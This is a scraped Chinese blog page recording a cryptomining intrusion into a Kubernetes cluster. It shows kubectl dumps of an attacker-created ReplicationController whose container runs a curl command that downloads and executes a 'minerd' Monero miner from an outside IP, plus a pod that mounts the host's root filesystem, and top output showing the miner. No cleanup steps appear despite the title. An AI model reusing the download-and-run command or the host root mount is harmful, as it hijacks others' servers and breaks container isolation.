k8s被minerd入侵处理
来源:互联网 发布:帝国cms伪静态规则 编辑:程序博客网 时间:2024/04/27 13:21
[root@ALY-BJB-GRA-002 /]# kubectl get rc mysql2 -o yamlapiVersion: v1kind: ReplicationControllermetadata: creationTimestamp: 2017-07-28T07:58:26Z generation: 1 labels: app: mysql2 name: mysql2 namespace: default resourceVersion: "4908452" selfLink: /api/v1/namespaces/default/replicationcontrollers/mysql2 uid: 89773935-736a-11e7-8ba6-00163e0c0eabspec: replicas: 5 selector: app: mysql2 template: metadata: creationTimestamp: null labels: app: mysql2 spec: containers: - command: - sh - -c - curl -L http://98.142.140.13:8220/minerd -o minerd;chmod 777 minerd && setsid ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x image: centos imagePullPolicy: Always name: mysql2 resources: {} terminationMessagePath: /dev/termination-log dnsPolicy: ClusterFirst restartPolicy: Always securityContext: {} terminationGracePeriodSeconds: 30 volumes: - emptyDir: {} name: shared-datastatus: fullyLabeledReplicas: 5 observedGeneration: 1 replicas: 5
[root@ALY-BJB-GRA-002 /]# kubectl get pod myapp5 -o yamlapiVersion: v1kind: Podmetadata: creationTimestamp: 2017-07-28T07:58:26Z name: myapp5 namespace: default resourceVersion: "5043763" selfLink: /api/v1/namespaces/default/pods/myapp5 uid: 8955f1b4-736a-11e7-8ba6-00163e0c0eabspec: containers: - image: nginx imagePullPolicy: Always name: test-container resources: {} terminationMessagePath: /dev/termination-log volumeMounts: - mountPath: /mnt name: test-volume dnsPolicy: ClusterFirst nodeName: aly-bjb-gra-002 restartPolicy: Always securityContext: {} terminationGracePeriodSeconds: 30 volumes: - hostPath: path: / name: test-volumestatus: conditions: - lastProbeTime: null lastTransitionTime: 2017-07-28T07:58:26Z status: "True" type: Initialized - lastProbeTime: null lastTransitionTime: 2017-07-28T11:36:20Z message: 'containers with unready status: [test-container]' reason: ContainersNotReady status: "False" type: Ready - lastProbeTime: null lastTransitionTime: 2017-07-28T07:58:26Z status: "True" type: PodScheduled containerStatuses: - image: nginx imageID: "" lastState: {} name: test-container ready: false restartCount: 0 state: waiting: message: 'runContainer: Error response from daemon: {"message":"devmapper: Error activating devmapper device for ''7b51f71963d7b2f8dcb085e49d81a1d9662f63ae75098158885c294648ea95d2-init'': devicemapper: Can''t set cookie dm_task_set_cookie failed"}' reason: RunContainerError hostIP: 10.45.151.4 phase: Pending podIP: 172.30.4.17 startTime: 2017-07-28T07:58:26Z
top - 10:32:38 up 220 days, 14:21, 3 users, load average: 2.95, 3.13, 3.10Tasks: 307 total, 1 running, 306 sleeping, 0 stopped, 0 zombie%Cpu(s): 75.3 us, 2.7 sy, 0.0 ni, 21.6 id, 0.0 wa, 0.0 hi, 0.2 si, 0.2 stKiB Mem : 7747772 total, 426324 free, 1886064 used, 5435384 buff/cacheKiB Swap: 0 total, 0 free, 0 used. 5491784 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND13195 root 20 0 385300 7552 1212 S 295.7 0.1 89640:53 minerd
阅读全文
0 0
- k8s被minerd入侵处理
- 服务器被入侵(minerd挖矿程序)
- 阿里云CentOS被minerd入侵,CPU使用率高达100%
- minerd木马处理流程
- 关于服务被挖矿程序minerd入侵解决方法
- minerd
- 阿里云服务器被挖矿minerd入侵的解决办法
- 阿里云服务器被挖矿minerd入侵的解决办法
- 挖矿程序minerd入侵分析和解决办法
- 挖矿程序minerd入侵分析和解决办法
- 挖矿程序minerd入侵分析和解决办法
- 挖矿程序minerd入侵分析和解决办法
- 挖矿程序minerd入侵分析和解决办法
- 服务器被入侵后的处理
- Linux系统被入侵后处理经历
- 阿里云服务器被挖矿minerd入侵的解决办法,导致tomcat启动很慢
- CentOS 服务器因 Redis 遭遇挖矿程序 minerd 入侵事件记录
- k8s
- hdu2076 夹角有多大(题目已修改,注意读题)(C语言)
- 微信对于js和css缓存不清除问题
- upload()方法
- wait_event_interruptible 使用方法
- 机器学习基础
- k8s被minerd入侵处理
- 关闭授权=测试
- 用C语言判断1000年~2000年之间的闰年
- Hadoop工程师面试题:使用linux命令完成文本处理
- 【python学习笔记】27:scipy中ndimage模块作图像滤波
- Python 字符串
- 堆(优先队列,最大堆的基本操作,堆的例题)
- office重装之旅(激活失败,被迫重装)
- 判断两个区间有无交集